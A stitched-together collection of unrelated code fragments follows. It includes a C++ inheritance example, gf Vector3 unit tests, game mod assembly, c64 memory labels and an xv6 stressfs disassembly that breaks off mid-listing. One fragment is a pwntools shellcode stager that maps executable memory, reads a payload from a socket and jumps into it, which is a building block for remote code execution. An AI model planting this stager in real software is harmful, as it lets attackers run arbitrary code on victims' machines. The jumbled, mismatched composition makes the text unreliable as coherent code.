33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
#include <iostream>
using namespace std;
class Rectangle
{
protected:
float length, breadth;
public:
Rectangle(): length(0.0), breadth(0.0)
{
length = 5;
breadth = 6;
}
};
/* Area class is derived from base class Rectangle. */
class Area : public Rectangle
{
public:
float calc()
{
return length * breadth;
}
};
int main()
{
Area a;
cout << "Area = " << a.calc() << " square meters" << endl;
return 0;
}
/* OUTPUT
Area = 30 square meter
*/
|
%define System @_System@
%define Darwin 0
%define Linux 1
%define Windows 2
%define x86_64 0
%define arm64 1
%define Processor @_Processor@
|
/*
* Gamedev Framework (gf)
* Copyright (C) 2016-2022 Julien Bernard
*
* This software is provided 'as-is', without any express or implied
* warranty. In no event will the authors be held liable for any damages
* arising from the use of this software.
*
* Permission is granted to anyone to use this software for any purpose,
* including commercial applications, and to alter it and redistribute it
* freely, subject to the following restrictions:
*
* 1. The origin of this software must not be misrepresented; you must not
* claim that you wrote the original software. If you use this software
* in a product, an acknowledgment in the product documentation would be
* appreciated but is not required.
* 2. Altered source versions must be plainly marked as such, and must not be
* misrepresented as being the original software.
* 3. This notice may not be removed or altered from any source distribution.
*/
#include <gf/Vector.h>
#include "gtest/gtest.h"
TEST(Vector3Test, Access) {
gf::Vector3i vec;
vec[0] = 42;
vec[1] = 69;
vec[2] = 23;
EXPECT_EQ(42, vec[0]);
EXPECT_EQ(69, vec[1]);
EXPECT_EQ(23, vec[2]);
}
TEST(Vector3Test, Brace1Ctor) {
gf::Vector3i vec{42};
EXPECT_EQ(42, vec[0]);
}
TEST(Vector3Test, ValueCtor) {
gf::Vector3i vec(42);
EXPECT_EQ(42, vec[0]);
EXPECT_EQ(42, vec[1]);
EXPECT_EQ(42, vec[2]);
}
TEST(Vector3Test, MemberCtor) {
gf::Vector3i vec(42, 69, 23);
EXPECT_EQ(42, vec[0]);
EXPECT_EQ(69, vec[1]);
EXPECT_EQ(23, vec[2]);
}
TEST(Vector3Test, Brace3Ctor) {
gf::Vector3i vec{42, 69, 23};
EXPECT_EQ(42, vec[0]);
EXPECT_EQ(69, vec[1]);
EXPECT_EQ(23, vec[2]);
}
TEST(Vector3Test, PointerCtor) {
const int data[3] = { 42, 69, 23 };
gf::Vector3i vec(data);
EXPECT_EQ(42, vec[0]);
EXPECT_EQ(69, vec[1]);
EXPECT_EQ(23, vec[2]);
}
TEST(Vector3Test, InitCtor) {
gf::Vector3i vec = {42, 69, 23};
EXPECT_EQ(42, vec[0]);
EXPECT_EQ(69, vec[1]);
EXPECT_EQ(23, vec[2]);
}
TEST(Vector3Test, CopyCtor) {
gf::Vector3i original(42, 69, 23);
gf::Vector3i vec = original;
EXPECT_EQ(42, vec[0]);
EXPECT_EQ(69, vec[1]);
EXPECT_EQ(23, vec[2]);
}
TEST(Vector3Test, ZeroCtor) {
gf::Vector3i vec = gf::Zero;
EXPECT_EQ(0, vec[0]);
EXPECT_EQ(0, vec[1]);
EXPECT_EQ(0, vec[2]);
}
TEST(Vector3Test, AltFields) {
gf::Vector3i vec(42, 69, 23);
EXPECT_EQ(42, vec.x);
EXPECT_EQ(42, vec.r);
EXPECT_EQ(69, vec.y);
EXPECT_EQ(69, vec.g);
EXPECT_EQ(23, vec.z);
EXPECT_EQ(23, vec.b);
}
TEST(Vector3Test, RangeFor) {
gf::Vector3i vec(1, 2, 3);
int expected = 1;
for (int elem : vec) {
EXPECT_EQ(expected, elem);
++expected;
}
EXPECT_EQ(expected, 4);
}
TEST(Vector3Test, Iterator) {
gf::Vector3i vec1(1, 2, 3);
EXPECT_EQ(std::distance(vec1.begin(), vec1.end()), 3);
const gf::Vector3i vec2(1, 2, 3);
EXPECT_EQ(std::distance(vec2.begin(), vec2.end()), 3);
EXPECT_EQ(std::distance(vec2.cbegin(), vec2.cend()), 3);
}
|
<% from pwnlib.shellcraft import common %>
<% from pwnlib.shellcraft import amd64 %>
<%docstring>
Recives a fixed sized payload into a mmaped buffer
Useful in conjuncion with findpeer.
After running the socket will be left in RDI.
Args:
sock, the socket to read the payload from.
size, the size of the payload
</%docstring>
<%page args="sock, size, handle_error=False"/>
<%
stager = common.label("stager")
looplabel = common.label("read_loop")
errlabel = common.label("error")
%>
${stager}:
push ${sock}
push ${size}
${amd64.linux.syscall('SYS_mmap', 0, size, 'PROT_EXEC | PROT_WRITE | PROT_READ', 'MAP_ANONYMOUS | MAP_PRIVATE', -1, 0)}
mov rsi, rax
pop rdx
pop rdi /* sock */
push rsi /* save for: pop eax; call eax later */
/* read loop */
${looplabel}:
${amd64.linux.syscall('SYS_read', 'rdi', 'rsi', 'rdx')}
% if handle_error:
test rax, rax
js ${errlabel}
% endif
sub rdx, rax
add rsi, rax
test rdx, rdx
jne ${looplabel}
pop rsi /* start of mmaped buffer */
call rsi /* jump and hope for it to work */
% if handle_error:
${errlabel}:
hlt
% endif
|
.include "defaults_mod.asm"
table_file_jp equ "exe6-utf8.tbl"
table_file_en equ "bn6-utf8.tbl"
game_code_len equ 3
game_code equ 0x4252354A // BR5J
game_code_2 equ 0x42523545 // BR5E
game_code_3 equ 0x42523550 // BR5P
card_type equ 1
card_id equ 68
card_no equ "068"
card_sub equ "Mod Card 068"
card_sub_x equ 64
card_desc_len equ 2
card_desc_1 equ "Walla"
card_desc_2 equ "12MB"
card_desc_3 equ ""
card_name_jp_full equ "ウォーラ"
card_name_jp_game equ "ウォーラ"
card_name_en_full equ "Walla"
card_name_en_game equ "Walla"
card_address equ ""
card_address_id equ 0
card_bug equ 0
card_wrote_en equ ""
card_wrote_jp equ "" |
STORE 1 # HEAP[1] = 0
ADDI 1 # ACCU = 1
STORE [1] # HEAP[0] = 1
LOAD [0] # ACCU = 0
ADD [1] # ACCU = 1
CMP [1] # ACCU = 0 == true
|
/*
MIT License
Copyright (c) 2021 Maciej Malecki
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
#import "common/lib/common.asm"
#importonce
.filenamespace c64lib
/*
VIC memory layout (16kb):
- $0000 ($C000-$C3FF) - SCREEN_PAGE_0
- $0400 ($C400-$C7FF) - SCREEN_PAGE_1
- $0800 ($C800-$CFFF) - CHARGEN
- ($D000-$DFFF) - I/O space
- $2000 ($E000) - sprite data
*/
.label VIC_BANK = 3
.label SCREEN_PAGE_0 = 0
.label SCREEN_PAGE_1 = 1
.label CHARGEN = 1
.label SPRITE_SHAPES_START = 128
.label VIC_MEMORY_START = VIC_BANK * toBytes(16)
.label SCREEN_PAGE_ADDR_0 = VIC_MEMORY_START + SCREEN_PAGE_0 * toBytes(1)
.label SCREEN_PAGE_ADDR_1 = VIC_MEMORY_START + SCREEN_PAGE_1 * toBytes(1)
.label CHARGEN_ADDR = VIC_MEMORY_START + CHARGEN * toBytes(2)
.label SPRITE_ADDR = VIC_MEMORY_START + SPRITE_SHAPES_START*64
|
_stressfs: formato do arquivo elf32-i386
Desmontagem da seção .text:
00000000 <main>:
#include "fs.h"
#include "fcntl.h"
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
int fd, i;
char path[] = "stressfs0";
7: b8 30 00 00 00 mov $0x30,%eax
#include "fs.h"
#include "fcntl.h"
int
main(int argc, char *argv[])
{
c: ff 71 fc pushl -0x4(%ecx)
f: 55 push %ebp
10: 89 e5 mov %esp,%ebp
12: 57 push %edi
13: 56 push %esi
14: 53 push %ebx
15: 51 push %ecx
int fd, i;
char path[] = "stressfs0";
char data[512];
printf(1, "stressfs starting\n");
memset(data, 'a', sizeof(data));
16: 8d b5 e8 fd ff ff lea -0x218(%ebp),%esi
for(i = 0; i < 4; i++)
1c: 31 db xor %ebx,%ebx
#include "fs.h"
#include "fcntl.h"
int
main(int argc, char *argv[])
{
1e: 81 ec 20 02 00 00 sub $0x220,%esp
int fd, i;
char path[] = "stressfs0";
24: 66 89 85 e6 fd ff ff mov %ax,-0x21a(%ebp)
2b: c7 85 de fd ff ff 73 movl $0x65727473,-0x222(%ebp)
32: 74 72 65
char data[512];
printf(1, "stressfs starting\n");
35: 68 f0 07 00 00 push $0x7f0
3a: 6a 01 push $0x1
int
main(int argc, char *argv[])
{
int fd, i;
char path[] = "stressfs0";
3c: c7 85 e2 fd ff ff 73 movl $0x73667373,-0x21e(%ebp)
43: 73 66 73
char data[512];
printf(1, "stressfs starting\n");
46: e8 85 04 00 00 call 4d0 <printf>
memset(data, 'a', sizeof(data));
4b: 83 c4 0c add $0xc,%esp
4e: 68 00 02 00 00 push $0x200
53: 6a 61 push $0x61
55: 56 push %esi
56: e8 95 01 00 00 call 1f0 <memset>
5b: 83 c4 10 add $0x10,%esp
for(i = 0; i < 4; i++)
if(fork(0) > 0)
5e: 83 ec 0c sub $0xc,%esp
61: 6a 00 push $0x0
63: e8 12 03 00 00 call 37a <fork>
68: 83 c4 10 add $0x10,%esp
6b: 85 c0 test %eax,%eax
6d: 0f 8f b7 00 00 00 jg 12a <main+0x12a>
char data[512];
printf(1, "stressfs starting\n");
memset(data, 'a', sizeof(data));
for(i = 0; i < 4; i++)
73: 83 c3 01 add $0x1,%ebx
76: 83 fb 04 cmp $0x4,%ebx
79: 75 e3 jne 5e <main+0x5e>
7b: bf 04 00 00 00 mov $0x4,%edi
if(fork(0) > 0)
break;
printf(1, "write %d\n", i);
80: 83 ec 04 sub $0x4,%esp
83: 53 push %ebx
84: 68 03 08 00 00 push $0x803
path[8] += i;
fd = open(path, O_CREATE | O_RDWR);
89: bb 14 00 00 00 mov $0x14,%ebx
for(i = 0; i < 4; i++)
if(fork(0) > 0)
break;
printf(1, "write %d\n", i);
8e: 6a 01 push $0x1
90: e8 3b 04 00 00 call 4d0 <printf>
path[8] += i;
95: 89 f8 mov %edi,%eax
97: 00 85 e6 fd ff ff add %al,-0x21a(%ebp)
fd = open(path, O_CREATE | O_RDWR);
9d: 5f pop %edi
9e: 58 pop %eax
9f: 8d 85 de fd ff ff lea -0x222(%ebp),%eax
a5: 68 02 02 00 00 push $0x202
aa: 50 push %eax
ab: e8 12 03 00 00 call 3c2 <open>
b0: 83 c4 10 add $0x10,%esp
b3: 89 c7 mov %eax,%edi
b5: 8d 76 00 lea 0x0(%esi),%esi
for(i = 0; i < 20; i++)
// printf(fd, "%d\n", i);
write(fd, data, sizeof(data));
b8: 83 ec 04 sub $0x4,%esp
bb: 68 00 02 00 00 push $0x200
c0: 56 push %esi
c1: 57 push %edi
c2: e8 db 02 00 00 call 3a2 <write>
printf(1, "write %d\n", i);
path[8] += i;
fd = open(path, O_CREATE | O_RDWR);
for(i = 0; i < 20; i++)
c7: 83 c4 10 add $0x10,%esp
ca: 83 eb 01 sub $0x1,%ebx
cd: 75 e9 jne b8 <main+0xb8>
// printf(fd, "%d\n", i);
write(fd, data, sizeof(data));
close(fd);
cf: 83 ec 0c sub $0xc,%esp
d2: 57 push %edi
d3: e8 d2 02 00 00 call 3aa <close>
printf(1, "read\n");
d8: 58 pop %eax
d9: 5a pop %edx
da: 68 0d 08 00 00 push $0x80d
df: 6a 01 push $0x1
e1: e8 ea 03 00 00 call 4d0 <printf>
fd = open(path, O_RDONLY);
e6: 59 pop %ecx
e7: 8d 85 de fd ff ff lea -0x222(%ebp),%eax
ed: 5b pop %ebx
ee: 6a 00 push $0x0
f0: 50 push %eax
f1: bb 14 00 00 00 mov $0x14,%ebx
f6: e8 c7 02 00 00 call 3c2 <open>
fb: 83 c4 10 add $0x10,%esp
fe: 89 c7 mov %eax,%edi
for (i = 0; i < 20; i++)
read(fd, data, sizeof(data));
100: 83 ec 04 sub $0x4,%esp
103: 68 00 02 00 00 push $0x200
108: 56 push %esi
109: 57 push %edi
10a: e8 8b 02 00 00 call 39a <read>
close(fd);
printf(1, "read\n");
fd = open(path, O_RDONLY);
for (i = 0; i < 20; i++)
10f: 83 c4 10 add $0x10,%esp
112: 83 eb 01 sub $0x1,%ebx
115: 75 e9 jne 100 <main+0x100>
read(fd, data, sizeof(data));
close(fd);
117: 83 ec 0c sub $0xc,%esp
11a: 57 push %edi
11b: e8 8a 02 00 00 call 3aa <close>
wait();
120: e8 65 02 00 00 call 38a <wait>
exit();
125: e8 58 02 00 00 call 382 <exit>
12a: 89 df mov %ebx,%edi
12c: e9 4f ff ff ff jmp 80 <main+0x80>
131: 66 90 xchg %ax,%ax
133: 66 90 xchg %ax,%ax
135: 66 90 xchg %ax,%ax
137: 66 90 xchg %ax,%ax
139: 66 90 xchg %ax,%ax
13b: 66 90 xchg %ax,%ax
13d: 66 90 xchg %ax,%ax
13f: 90 nop
00000140 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
140: 55 push %ebp
141: 89 e5 mov %esp,%ebp
143: 53 push %ebx
144: 8b 45 08 mov 0x8(%ebp),%eax
147: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
14a: 89 c2 mov %eax,%edx
14c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
150: 83 c1 01 add $0x1,%ecx
153: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
157: 83 c2 01 add $0x1,%edx
15a: 84 db test %bl,%bl
15c: 88 5a ff mov %bl,-0x1(%edx)
15f: 75 ef jne 150 <strcpy+0x10>
;
return os;
}
161: 5b pop %ebx
162: 5d pop %ebp
163: c3 ret
164: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
16a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000170 <strcmp>:
int
strcmp(const char *p, const char *q)
{
170: 55 push %ebp
171: 89 e5 mov %esp,%ebp
173: 56 push %esi
174: 53 push %ebx
175: 8b 55 08 mov 0x8(%ebp),%edx
178: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
17b: 0f b6 02 movzbl (%edx),%eax
17e: 0f b6 19 movzbl (%ecx),%ebx
181: 84 c0 test %al,%al
183: 75 1e jne 1a3 <strcmp+0x33>
185: eb 29 jmp 1b0 <strcmp+0x40>
187: 89 f6 mov %esi,%esi
189: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
190: 83 c2 01 add $0x1,%edx
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
193: 0f b6 02 movzbl (%edx),%eax
p++, q++;
196: 8d 71 01 lea 0x1(%ecx),%esi
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
199: 0f b6 59 01 movzbl 0x1(%ecx),%ebx
19d: 84 c0 test %al,%al
19f: 74 0f je 1b0 <strcmp+0x40>
1a1: 89 f1 mov %esi,%ecx
1a3: 38 d8 cmp %bl,%al
1a5: 74 e9 je 190 <strcmp+0x20>
p++, q++;
return (uchar)*p - (uchar)*q;
1a7: 29 d8 sub %ebx,%eax
}
1a9: 5b pop %ebx
1aa: 5e pop %esi
1ab: 5d pop %ebp
1ac: c3 ret
1ad: 8d 76 00 lea 0x0(%esi),%esi
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
1b0: 31 c0 xor %eax,%eax
p++, q++;
return (uchar)*p - (uchar)*q;
1b2: 29 d8 sub %ebx,%eax
}
1b4: 5b pop %ebx
1b5: 5e pop %esi
1b6: 5d pop %ebp
1b7: c3 ret
1b8: 90 nop
1b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000001c0 <strlen>:
uint
strlen(char *s)
{
1c0: 55 push %ebp
1c1: 89 e5 mov %esp,%ebp
1c3: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
1c6: 80 39 00 cmpb $0x0,(%ecx)
1c9: 74 12 je 1dd <strlen+0x1d>
1cb: 31 d2 xor %edx,%edx
1cd: 8d 76 00 lea 0x0(%esi),%esi
1d0: 83 c2 01 add $0x1,%edx
1d3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
1d7: 89 d0 mov %edx,%eax
1d9: 75 f5 jne 1d0 <strlen+0x10>
;
return n;
}
1db: 5d pop %ebp
1dc: c3 ret
uint
strlen(char *s)
{
int n;
for(n = 0; s[n]; n++)
1dd: 31 c0 xor %eax,%eax
;
return n;
}
1df: 5d pop %ebp
1e0: c3 ret
1e1: eb 0d jmp 1f0 <memset>
1e3: 90 nop
1e4: 90 nop
1e5: 90 nop
1e6: 90 nop
1e7: 90 nop
1e8: 90 nop
1e9: 90 nop
1ea: 90 nop
1eb: 90 nop
1ec: 90 nop
1ed: 90 nop
1ee: 90 nop
1ef: 90 nop
000001f0 <memset>:
void*
memset(void *dst, int c, uint n)
{
1f0: 55 push %ebp
1f1: 89 e5 mov %esp,%ebp
1f3: 57 push %edi
1f4: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
1f7: 8b 4d 10 mov 0x10(%ebp),%ecx
1fa: 8b 45 0c mov 0xc(%ebp),%eax
1fd: 89 d7 mov %edx,%edi
1ff: fc cld
200: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
202: 89 d0 mov %edx,%eax
204: 5f pop %edi
205: 5d pop %ebp
206: c3 ret
207: 89 f6 mov %esi,%esi
209: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000210 <strchr>:
char*
strchr(const char *s, char c)
{
210: 55 push %ebp
211: 89 e5 mov %esp,%ebp
213: 53 push %ebx
214: 8b 45 08 mov 0x8(%ebp),%eax
217: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
21a: 0f b6 10 movzbl (%eax),%edx
21d: 84 d2 test %dl,%dl
21f: 74 1d je 23e <strchr+0x2e>
if(*s == c)
221: 38 d3 cmp %dl,%bl
223: 89 d9 mov %ebx,%ecx
225: 75 0d jne 234 <strchr+0x24>
227: eb 17 jmp 240 <strchr+0x30>
229: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
230: 38 ca cmp %cl,%dl
232: 74 0c je 240 <strchr+0x30>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
234: 83 c0 01 add $0x1,%eax
237: 0f b6 10 movzbl (%eax),%edx
23a: 84 d2 test %dl,%dl
23c: 75 f2 jne 230 <strchr+0x20>
if(*s == c)
return (char*)s;
return 0;
23e: 31 c0 xor %eax,%eax
}
240: 5b pop %ebx
241: 5d pop %ebp
242: c3 ret
243: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
249: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000250 <gets>:
char*
gets(char *buf, int max)
{
250: 55 push %ebp
251: 89 e5 mov %esp,%ebp
253: 57 push %edi
254: 56 push %esi
255: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
256: 31 f6 xor %esi,%esi
cc = read(0, &c, 1);
258: 8d 7d e7 lea -0x19(%ebp),%edi
return 0;
}
char*
gets(char *buf, int max)
{
25b: 83 ec 1c sub $0x1c,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
25e: eb 29 jmp 289 <gets+0x39>
cc = read(0, &c, 1);
260: 83 ec 04 sub $0x4,%esp
263: 6a 01 push $0x1
265: 57 push %edi
266: 6a 00 push $0x0
268: e8 2d 01 00 00 call 39a <read>
if(cc < 1)
26d: 83 c4 10 add $0x10,%esp
270: 85 c0 test %eax,%eax
272: 7e 1d jle 291 <gets+0x41>
break;
buf[i++] = c;
274: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
278: 8b 55 08 mov 0x8(%ebp),%edx
27b: 89 de mov %ebx,%esi
if(c == '\n' || c == '\r')
27d: 3c 0a cmp $0xa,%al
for(i=0; i+1 < max; ){
cc = read(0, &c, 1);
if(cc < 1)
break;
buf[i++] = c;
27f: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1)
if(c == '\n' || c == '\r')
283: 74 1b je 2a0 <gets+0x50>
285: 3c 0d cmp $0xd,%al
287: 74 17 je 2a0 <gets+0x50>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
289: 8d 5e 01 lea 0x1(%esi),%ebx
28c: 3b 5d 0c cmp 0xc(%ebp),%ebx
28f: 7c cf jl 260 <gets+0x10>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
291: 8b 45 08 mov 0x8(%ebp),%eax
294: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
298: 8d 65 f4 lea -0xc(%ebp),%esp
29b: 5b pop %ebx
29c: 5e pop %esi
29d: 5f pop %edi
29e: 5d pop %ebp
29f: c3 ret
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
2a0: 8b 45 08 mov 0x8(%ebp),%eax
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
2a3: 89 de mov %ebx,%esi
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
2a5: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
2a9: 8d 65 f4 lea -0xc(%ebp),%esp
2ac: 5b pop %ebx
2ad: 5e pop %esi
2ae: 5f pop %edi
2af: 5d pop %ebp
2b0: c3 ret
2b1: eb 0d jmp 2c0 <stat>
2b3: 90 nop
2b4: 90 nop
2b5: 90 nop
2b6: 90 nop
2b7: 90 nop
2b8: 90 nop
2b9: 90 nop
2ba: 90 nop
2bb: 90 nop
2bc: 90 nop
2bd: 90 nop
2be: 90 nop
2bf: 90 nop
000002c0 <stat>:
int
stat(char *n, struct stat *st)
{
2c0: 55 push %ebp
2c1: 89 e5 mov %esp,%ebp
2c3: 56 push %esi
2c4: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
2c5: 83 ec 08 sub $0x8,%esp
2c8: 6a 00 push $0x0
2ca: ff 75 08 pushl 0x8(%ebp)
2cd: e8 f0 00 00 00 call 3c2 <open>
if(fd < 0)
2d2: 83 c4 10 add $0x10,%esp
2d5: 85 c0 test %eax,%eax
2d7: 78 27 js 300 <stat+0x40>
return -1;
r = fstat(fd, st);
2d9: 83 ec 08 sub $0x8,%esp
2dc: ff 75 0c pushl 0xc(%ebp)
2df: 89 c3 mov %eax,%ebx
2e1: 50 push %eax
2e2: e8 f3 00 00 00 call 3da <fstat>
2e7: 89 c6 mov %eax,%esi
close(fd);
2e9: 89 1c 24 mov %ebx,(%esp)
2ec: e8 b9 00 00 00 call 3aa <close>
return r;
2f1: 83 c4 10 add $0x10,%esp
2f4: 89 f0 mov %esi,%eax
}
2f6: 8d 65 f8 lea -0x8(%ebp),%esp
2f9: 5b pop %ebx
2fa: 5e pop %esi
2fb: 5d pop %ebp
2fc: c3 ret
2fd: 8d 76 00 lea 0x0(%esi),%esi
int fd;
int r;
fd = open(n, O_RDONLY);
if(fd < 0)
return -1;
300: b8 ff ff ff ff mov $0xffffffff,%eax
305: eb ef jmp 2f6 <stat+0x36>
307: 89 f6 mov %esi,%esi
309: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000310 <atoi>:
return r;
}
int
atoi(const char *s)
{
310: 55 push %ebp
311: 89 e5 mov %esp,%ebp
313: 53 push %ebx
314: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
317: 0f be 11 movsbl (%ecx),%edx
31a: 8d 42 d0 lea -0x30(%edx),%eax
31d: 3c 09 cmp $0x9,%al
31f: b8 00 00 00 00 mov $0x0,%eax
324: 77 1f ja 345 <atoi+0x35>
326: 8d 76 00 lea 0x0(%esi),%esi
329: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
330: 8d 04 80 lea (%eax,%eax,4),%eax
333: 83 c1 01 add $0x1,%ecx
336: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
33a: 0f be 11 movsbl (%ecx),%edx
33d: 8d 5a d0 lea -0x30(%edx),%ebx
340: 80 fb 09 cmp $0x9,%bl
343: 76 eb jbe 330 <atoi+0x20>
n = n*10 + *s++ - '0';
return n;
}
345: 5b pop %ebx
346: 5d pop %ebp
347: c3 ret
348: 90 nop
349: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000350 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
350: 55 push %ebp
351: 89 e5 mov %esp,%ebp
353: 56 push %esi
354: 53 push %ebx
355: 8b 5d 10 mov 0x10(%ebp),%ebx
358: 8b 45 08 mov 0x8(%ebp),%eax
35b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
35e: 85 db test %ebx,%ebx
360: 7e 14 jle 376 <memmove+0x26>
362: 31 d2 xor %edx,%edx
364: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
368: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
36c: 88 0c 10 mov %cl,(%eax,%edx,1)
36f: 83 c2 01 add $0x1,%edx
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
372: 39 da cmp %ebx,%edx
374: 75 f2 jne 368 <memmove+0x18>
*dst++ = *src++;
return vdst;
}
376: 5b pop %ebx
377: 5e pop %esi
378: 5d pop %ebp
379: c3 ret
0000037a <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
37a: b8 01 00 00 00 mov $0x1,%eax
37f: cd 40 int $0x40
381: c3 ret
00000382 <exit>:
SYSCALL(exit)
382: b8 02 00 00 00 mov $0x2,%eax
387: cd 40 int $0x40
389: c3 ret
0000038a <wait>:
SYSCALL(wait)
38a: b8 03 00 00 00 mov $0x3,%eax
38f: cd 40 int $0x40
391: c3 ret
00000392 <pipe>:
SYSCALL(pipe)
392: b8 04 00 00 00 mov $0x4,%eax
397: cd 40 int $0x40
399: c3 ret
0000039a <read>:
SYSCALL(read)
39a: b8 05 00 00 00 mov $0x5,%eax
39f: cd 40 int $0x40
3a1: c3 ret
000003a2 <write>:
SYSCALL(write)
3a2: b8 10 00 00 00 mov $0x10,%eax
3a7: cd 40 int $0x40
3a9: c3 ret
000003aa <close>:
SYSCALL(close)
3aa: b8 15 00 00 00 mov $0x15,%eax
3af: cd 40 int $0x40
3b1: c3 ret
000003b2 <kill>:
SYSCALL(kill)
3b2: b8 06 00 00 00 mov $0x6,%eax
3b7: cd 40 int $0x40
3b9: c3 ret
000003ba <exec>:
SYSCALL(exec)
3ba: b8 07 00 00 00 mov $0x7,%eax
3bf: cd 40 int $0x40
3c1: c3 ret
000003c2 <open>:
SYSCALL(open)
3c2: b8 0f 00 00 00 mov $0xf,%eax
3c7: cd 40 int $0x40
3c9: c3 ret
000003ca <mknod>:
SYSCALL(mknod)
3ca: b8 11 00 00 00 mov $0x11,%eax
3cf: cd 40 int $0x40
3d1: c3 ret
000003d2 <unlink>:
SYSCALL(unlink)
3d2: b8 12 00 00 00 mov $0x12,%eax
3d7: cd 40 int $0x40
3d9: c3 ret
000003da <fstat>:
SYSCALL(fstat)
3da: b8 08 00 00 00 mov $0x8,%eax
3df: cd 40 int $0x40
3e1: c3 ret
000003e2 <link>:
SYSCALL(link)
3e2: b8 13 00 00 00 mov $0x13,%eax
3e7: cd 40 int $0x40
3e9: c3 ret
000003ea <mkdir>:
SYSCALL(mkdir)
3ea: b8 14 00 00 00 mov $0x14,%eax
3ef: cd 40 int $0x40
3f1: c3 ret
000003f2 <chdir>:
SYSCALL(chdir)
3f2: b8 09 00 00 00 mov $0x9,%eax
3f7: cd 40 int $0x40
3f9: c3 ret
000003fa <dup>:
